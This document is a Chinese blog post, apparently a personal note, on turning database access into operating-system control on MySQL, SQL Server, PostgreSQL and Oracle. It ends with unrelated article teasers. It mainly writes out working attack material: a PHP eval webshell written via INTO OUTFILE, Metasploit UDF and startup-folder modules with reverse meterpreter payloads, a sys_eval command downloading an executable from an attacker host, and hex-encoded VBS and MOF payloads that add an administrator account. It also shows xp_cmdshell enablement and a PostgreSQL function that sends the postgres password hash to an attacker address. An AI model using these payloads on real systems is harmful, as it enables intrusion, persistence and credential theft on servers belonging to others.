数据库权限提升GetShell

数据库提权总结 - 随风kali - 博客园 (cnblogs.com)

MySQL 漏洞利用与提权 | 国光 (sqlsec.com)

sql注入getshell的几种方式

第99天:权限提升-数据库提权&口令获取&MYSQL&MSSQL&Oracle&MSF

SQL注入拿shell的方式应该是通用的得到连接数据库权限之后,利用本身自带的方式从数据库权限提升到机器的权限,本文中的其他数据库利用方式也是这样的,利用自身的漏洞或者配置问题从数据库权限提权得到整个机器的权限,跟Webshell是一样得到道理只是对象从网站80换成了数据库3306等等,最终的目标就是拿到机器权限,网站是上传exe 数据库大多数是执行语句反弹…

除Access数据库外,其他数据库基本都存在数据库提权的可能)

下列备份配置文件一般会存储加密后的数据库连接密码,拿去解密即可得到明文连接进行后续提权操作,提权前置基础都是取得了账户密码连接数据库[//]: # (select version()或者数据库版本选择对应的导出方式) 并且安全模式没有限制写入如果限制了就宣告失败,提权都是需要写文件进去的

或者是inc目录下conn或者data文件

SQL注入Webshell

into outfile导出函数

into outfileMySQL数据库中的一个导出函数,它可以将查询结果写入到文件中

条件

  • root权限可以读写使用单引号
  • 知晓网站根目录绝对路径[//]: # (SELECT @@basedir; 可以知晓mysql的安装路径 \Extensions\MySQL8.0.12)
  • secure_file_priv[//]: # (筛Q飞来普瑞死)没有具体 限在mysql 5.6.34版本以后 secure_file_priv的值默认为null
show global variables like "%secure%"; // 查询secure_file_priv属性开启状态

如下情况代表无法写入,修改这个值只能手动

为空使用此语句写入文件到特定目录 saber为语句内容,写入成功则根据目录连接webshell

// 有就创建没有就写入,前提是可写并且知道网站根目录select 'saber' into outfile  'C:/Users/abc/Desktop/66.txt'; select '<?php eval($_GET[pass]);?>' into outfile  'B:\\phpstudy_pro\\WWW\\webshell\\saber.php';

load_file读文件

读取函数会在页面上回显出文件内的信息

条件

  • 存在开启日志记录和更换日志 root权限
  • 知晓网站根目录绝对路径
  • secure_file_priv值允许对该路径下的文件进行操作((为空或有路径)

日志写shell

日志改为脚本文件,将shell记录进日志来写shell,与导出函数写shell相比,规避了 secure_file_priv 的限制

  • 存在开启日志记录和更换日志 root权限
  • 知晓网站根目录绝对路径

os-shell

Oracle数据库不支持

原理

通过into oufil向服务器写入两个文件,,一个进行上传文件一个可以直接执行系统命令,首先上传第一个可以上传文件的php,再通过这个可以上传文件的php去上传可以命令执行的php,并将输出的内容返回sqlmap


第一步向目标靶机写一个上传的webshell脚本,然后利用上传脚本上传一个执行系统命令的webshell

此为sqlmap的一个命令,--os-shell就是使用udf提权获取WebShell

条件

  • 知晓网站根目录绝对路径
  • secure_file_priv[//]: # (筛Q飞来普瑞死)没有具体 限在mysql 5.6.34版本以后 secure_file_priv的值默认为null
  • 要求为数据库DBA,--is-dba检查当前网站连接的数据库账号是否为mysql user表中的管理员如root
  • 高权限用户
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件

MySQL提权 3306

默认不支持外联

条件

  • **服务器开启数据库服务 **
  • 获得最高权限用户 应该无所谓本来就是为了拿机器权限而不是数据库权限
  • **secure_file_priv**** 无限制**

UDF提权

原理

UDF拓展接口 自定义函数,是数据库功能的一种扩展。用户通􏰁自定义函数可以实现在 MySQL中无法方便实现的功能,其添加的新函数都可以在 SQL语句中调用

注意:

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的lib\plugin文件夹下文件夹下才能创建自定义函数,常用的工具 sqlmap Metasploit 里面都自带了对应系统的动态链接库文件;,不能直接用怕被杀还需要解码,

mysql<5.2 导出目录 c:/windows或system32
mysql=>5.2 导出安装目录 /lib/plugin/  (没有就手工创建)
// 获取mysql的安装路径 \Extensions\MySQL8.0.12\SELECT @@basedir;

MSF模块UDF提权

MSF模块提供了UDF提权功能,它会将dll文件写入lib\plugin\目录下,该dll文件中包含sys_exec()sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令 (前提开始外链,命令开启)

# 允许外部连接但另外条件是必须为空允许写入 secure_file_priv="",但是已经得到权限了那么自然这里也是为空 
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

命令执行后创建%代表是允许任何用户连接,可以用navicat数据库远程连接,哥斯拉这类工具可以连接的原因是以为是利用webshell脚本去连接,等于是内部至内部过程,navicat属于外部连接内部,MSF连接前也需要是允许外链才可以

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set username root
set rhosts 47.102.195.100
run

执行后在网站安装目录下写入dll文件

上传完成后在数据库执行语句创建函数绑定该上传的dll,上传了dll后才能执行绑定的命令

create function sys_eval returns string soname "saber.dll";

从而利用绑定好的函数里面的eval执行系统命令,既然可以执行系统命令那么可以远程下载文件造成木马上线主机.我们一直连接的是数据库并权限不是web权限,所以不能直接上线的,数据库里面只有表只能通过执行命令上线,不要误解了,远程上线操作在文章中体现,远程下载exe执行

select sys_eval('curl http://192.168.172.131:8000/msf.exe --output msf.exe');

详细过程看上面文章

创建自定义函数并调用命令

mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval

mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+

名称支持自定义,然后利用此函数执行命令比如增加用户

mysql > select sys_eval('whoami');

UDF一键提权

利用暗月师傅的马子 正常上传上去,然后一键提权

启动项提权

原理

mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令

mysql写入启动项

mysql > select 0xfaba7dcce8bc7a0273ae516626177f0b826970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";

MSF启动项模块

利用MSF模块向机器启动目录上传木马文件,开启监听服务器重启后执行上线exe

use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
set AllowNoCleanup true
run

反弹shell提权

Mysql提权之反弹shell

原来和UDF一致都是写入.dll文件创建命令执行语句这个要写入的太多了用的时候在文章里粘贴吧


nc -vvp 7788  // 攻击机监听端口

MOF提权

支持提权版本只有2003和一些之前的版本

原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF文件。MOF当中有一段是vbs脚本,通过控制这段vbs脚本的内容比如创建用户这些,进行提权

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter 
{ EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; 
}; instance of ActiveScriptEventConsumer as $Consumer 
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; instance of __FilterToConsumerBinding 
{ Consumer   = $Consumer; Filter = $EventFilter; 
};

利用 into dumpfile导出函数写入文件到指定目录

mysql > select 0x23ADd49dfDEF107045BD69845DDaDbb7293B819f5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

MSSQL/SQL Server提权 1433

Getshell

sqlserver命令注入和getshell

通过Mssql提权的几种姿势 - N0r4h

条件

  • 前提得知绝对路径,并且可写
  • 站库不分离 站库是一体的
  • 数据库必须被备份过一次

xp_cmdshell提权

xp_cmdshell作用类似于mysql udf,其本质是一些sql语句的集合

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

注意:

xp_cmdshellmssql2000中开启,在2005之后就是默认禁止的,我们需要Systemadmin Sa权限来开启xp_cmdshell

开启命令

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'x p_cmdshell', 0;
reconfigure;
EXEC master.dbo.xp_cmdshell 'whoami'   // 执行命令脚本

sp_oacreate可以删除、复制、移动文件,可以配合sp_oamethod来写文件执行cmd,原理调用OLE对象,利用OLE对象的run方法执行系统命令但是此方法没有回显 所以一般用于xp_cmdshell无法使用时

启用:
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;

调用cmd写入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

沙盒提权

执行命令方法无法使用时,可以使用沙盒进行提权,属于一种安全功能,操作看开篇文章吧

条件

PostgreSQL数据库 5432

PostgreSQL关系型数据库9.3-11版本存在一处特性.管理员或者具有'COPY TO/FROM PROGRAM'权限的用户,可以使用此特性执行任意命令

提权利用漏洞CVE-2018-1058 
CVE-2019-9193

CVE-2018-1058 管理员触发反弹

漏洞复现本地Docker启动环境

普通用户登录执行SQL语句执行反弹shell,管理员用户操作数据库触发sql语句即可反弹

docker compose up -d

通过提供的普通用户账户密码连接PostgreSQL数据库准备执行反弹shell语句,注意修改其中的IP地址,改为攻击机的地址,也就是反弹给谁

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$select dblink_connect((select 'hostaddr=192.168.111.131 port=5432 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

打开Kali启动NC监听,接下来就是等待管理员操作数据库的时候就会触发反弹shell

nc -lvvp 5432

漏洞复现假装自己是管理员操作了数据库,攻击机机会收到返回的shell 但是我没有任何反应

docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub

CVE-2019-9193 命令执行

Postgres默认的5432端口,默认账号密码为postgres/postgres

默认管理员账户密码,登录上去后直接命令执行的POC 这个是SQL语句所以数据库提权都是围绕执行SQL语句

docker compose up -d

Docker镜像一直拉不下来,开启在线的Vulhub靶场了,通过给到的地址和账户密码连接数据

选择新建查询后执行带有命令执行的SQL语句成功回显,替换远程下载木马不就是可以拿到权限了

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';  // cat /etc/passwd
SELECT * FROM cmd_exec;

Oracle提权 1521

oracle提权执行命令工具oracleShell v0.1

注入存储过程提权

SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/453626.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

未来AI的学习能力会达到怎样的水平?

​ 大家好&#xff0c;我是Shelly&#xff0c;一个专注于输出AI工具和科技前沿内容的AI应用教练&#xff0c;体验过300款以上的AI应用工具。关注科技及大模型领域对社会的影响10年。关注我一起驾驭AI工具&#xff0c;拥抱AI时代的到来。 AI工具集1&#xff1a;大厂AI工具【共2…

微软运用欺骗性策略大规模打击网络钓鱼活动

微软正在利用欺骗性策略来打击网络钓鱼行为者&#xff0c;方法是通过访问 Azure 生成外形逼真的蜜罐租户&#xff0c;引诱网络犯罪分子进入以收集有关他们的情报。 利用收集到的数据&#xff0c;微软可以绘制恶意基础设施地图&#xff0c;深入了解复杂的网络钓鱼操作&#xff…

Verilog基础:层次化标识符的使用

相关阅读 Verilog基础https://blog.csdn.net/weixin_45791458/category_12263729.html?spm1001.2014.3001.5482 一、前言 Verilog HDL中的标识符(identifier)是一个为了引用而给一个Verilog对象起的名字&#xff0c;分为两大类&#xff1a;普通标识符大类和层次化标识符大类。…

监控易监测对象及指标之:Kafka中间件JMX监控指标解读

监控易作为一款功能强大的监控软件&#xff0c;旨在为企业提供全方位的IT系统监控服务。其中&#xff0c;针对Kafka中间件的JMX监控是监控易的重要功能之一。本文将详细解读监控易中Kafka的JMX监控指标&#xff0c;帮助企业更好地理解并运用这些数据进行系统性能调优和故障排查…

算法笔记day07

1.最长回文子串 最长回文子串_牛客题霸_牛客网 算法思路&#xff1a; 使用中心扩散算法&#xff0c;枚举所有的中点&#xff0c;向两边扩散&#xff0c;一个中点需要枚举两次&#xff0c;一次当回文串是奇数另一次回文串是偶数的情况。 class Solution { public:int getLong…

mysql--基本查询

目录 搞定mysql--CURD操作&#xff0c;细节比较多&#xff0c;不难&#xff0c;贵在多多练 1、Create--创建 &#xff08;1&#xff09;单行插入 / 全列插入 &#xff08;2&#xff09;插入否则替换 &#xff08;3&#xff09;替换 2、Retuieve--select 1&#xff09;全…

git rebase的常用场景: 交互式变基, 变基和本地分支基于远端分支的变基

文章目录 作用应用场景场景一&#xff1a;交互式变基(合并同一条线上的提交记录) —— git rebase -i HEAD~2场景二&#xff1a;变基(合并分支) —— git rebase [其他分支名称]场景三&#xff1a;本地分支与远端分支的变基 作用 使git的提交记录变得更加简洁 应用场景 场景…

Unity之如何使用Unity Cloud Build云构建

文章目录 前言什么是 UnityCloudBuild?如何使用Unity云构建Unity 团队中的人员不属于 Unity Team 的人员UnityCloudBuild2.0价格表如何使用Unity云构建配置CloudBuild前言 Unity Cloud Build作为Unity平台的一项强大工具,它允许开发团队通过云端自动构建项目,节省了繁琐的手…

基于Springboot在线视频网站的设计与实现

基于Springboot视频网站的设计与实现 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;idea 源码获取&#xff1a;https://do…

JSON 注入攻击 API

文章目录 JSON 注入攻击 API"注入所有东西"是"聪明的"发生了什么? 什么是 JSON 注入?为什么解析器是问题所在解析不一致 JSON 解析器互操作性中的安全问题处理重复密钥的方式不一致按键碰撞响应不一致JSON 序列化(反序列化)中的不一致 好的。JSON 解析器…

Java | Leetcode Java题解之第497题非重叠矩形中的随机点

题目&#xff1a; 题解&#xff1a; class Solution {Random rand;List<Integer> arr;int[][] rects;public Solution(int[][] rects) {rand new Random();arr new ArrayList<Integer>();arr.add(0);this.rects rects;for (int[] rect : rects) {int a rect[0…

PPT自动化:Python如何将PPT转换为图片(ppt2img源码)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 PPT转换图片 📒📝 Windows环境下PPT转为图片(源码)📝 Linux环境下PPT转为图片(源码)📝 注意事项⚓️ 相关链接 ⚓️📖 介绍 📖 在日常工作中,我们常常需要将大量的幻灯片转换为图片,这样不仅方便分享,还能提…

【数据库系统概论】第3章 关系数据库标准语言SQL(一)数据定义(超详细)

教材&#xff1a; 数据库系统概论&#xff08;第6版&#xff09;王珊,杜小勇,陈红编著 目录 一、SQL概述 1.1 SQL 的产生与发展 1.2 SQL的特点 1.3 SQL的基本概念 二、数据定义 2.1 数据库的定义 2.2 数据表的定义 2.3 模式的定义 一、SQL概述 1974年IBM为关系DBMS设…

Docker 搭建mysql

拉取mysql镜像 docker pull mysql # 拉取镜像 [rooteason ~]# docker pull mysql Using default tag: latest latest: Pulling from library/mysql 72a69066d2fe: Pull complete 93619dbc5b36: Pull complete 99da31dd6142: Pull complete 626033c43d70: Pull complete 37d…

用HTML构建酷炫的文件上传下载界面

1. 基础HTML结构 首先&#xff0c;我们构建一个基本的HTML结构&#xff0c;包括一个表单用于文件上传&#xff0c;以及一个列表用于展示已上传文件&#xff1a; HTML <!DOCTYPE html> <html> <head><title>酷炫文件上传下载</title><link …

分布式ID生成策略

文章目录 分布式ID必要性1.UUID2.基于DB的自增主键方案3.数据库多主模式4.号段模式5.Redis6.Zookeeper7.ETCD8.雪花算法9.百度(Uidgenerator)10.美团(Leaf)11.滴滴(TinyID) 分布式ID必要性 业务量小于500W的时候单独一个mysql即可提供服务&#xff0c;再大点的时候就进行读写分…

浏览器播放rtsp视频流解决方案

方案一: html5 websocket_rtsp_proxy 实现视频流直播 实现原理 实现步骤 服务器安装streamedian服务器 客户端通过video标签播放 <video id"test_video" controls autoplay></video><script src"free.player.1.8.4.js"></script&g…

openresty通过header_filter_by_lua记录特定的请求头和特定的响应头到日志文件

有时我们希望记录特定的请求头信息和特定的响应头信息,以便能够通过关联请求信息和响应头信息,来实现记录请求和响应的对应关系。这里通过逐步尝试和优化的方式进行尝试。具体包括将需要的请求头和响应头组织到一条日志记录,输出到单独的错误日志文件记录等的配置尝试。 1.…

HAL+M4学习记录_8

一、TIM的HAL库用法 这里记录学习HAL库开发TIM 1.1 定时中断基本结构 这里给出定时中断的基本结构 基本步骤如下 开启时钟选择时基单元时钟源配置时基单元配置输出中断控制&#xff0c;允许更新中断输出到NVIC配置NVIC&#xff0c;打开定时器中断通道运行控制编写中断服务函…

为什么九齐单片机中不能使用bit?

如果开发环境不支持bit 定义static unsigned char task_720ms_flag 0;还可以用什么方式替代bit定义标志&#xff0c;使其占用内存空间小。 如果开发环境不支持位定义&#xff0c;可以使用 unsigned char 的多个状态位来替代。可以将多个标志合并到一个 unsigned char 中&…